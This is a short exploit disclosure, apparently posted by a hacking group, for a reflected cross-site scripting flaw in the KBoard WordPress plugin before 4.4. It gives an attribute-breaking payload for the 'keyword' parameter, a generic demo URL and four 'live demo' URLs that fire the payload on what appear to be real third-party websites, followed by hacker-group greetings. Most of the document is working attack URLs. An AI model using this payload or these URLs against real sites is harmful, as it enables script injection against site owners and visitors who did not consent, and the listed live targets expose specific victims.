######################
# Exploit Title : WordPress Plugin KBoard - Cross Site Scripting
# Exploit Author :  Persian Hack Team
# Vendor Homepage : http://www.cosmosfarm.com/products/kboard
# Category [ Webapps ]
# Tested on [ Win ]
# Version : Before 4.4
# Date 2016/09/26
######################
#
# PoC
# =>Cross Site Scripting :
#
# Payload : 1" onmouseover=prompt("Persian") bad="
# Keyword Vulnerable To XSS
# Demo :
# http://www.site.com/wp-content/plugins/kboard/board.php?pageid=1&board_id=1&mod=list&target=&keyword=1" onmouseover=prompt("Persian") bad="
#
# Live Demo :
#
# http://www.vocalcoachjoe.com/wp-content/plugins/kboard/board.php?pageid=1&board_id=1&mod=list&target=&keyword=1%22+onmouseover%3Dprompt%28%22Persian%22%29+bad%3D%22
#
# http://www.dbvalley.com/wp-content/plugins/kboard/board.php?board_id=1&mod=list&target=&keyword=1%22+onmouseover%3Dprompt%28%22Persian%22%29+bad%3D%22
#
# http://www.shinhan.ca/wp-content/plugins/kboard/board.php?board_id=1&mod=list&target=&keyword=1%22+onmouseover%3Dprompt%28%22Persian%22%29+bad%3D%22
#
# http://www.dhcmooncake.com/wp-content/plugins/kboard/board.php?board_id=2&pageid=1&mod=list&target=&keyword=1%22+onmouseover%3Dprompt%28%22Persian%22%29+bad%3D%22
#
######################
# Discovered by :  FireKernel & T3NZOG4N & Mojtaba MobhaM 
# B3li3v3 M3 I will n3v3r St0p
# Greetz :  Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################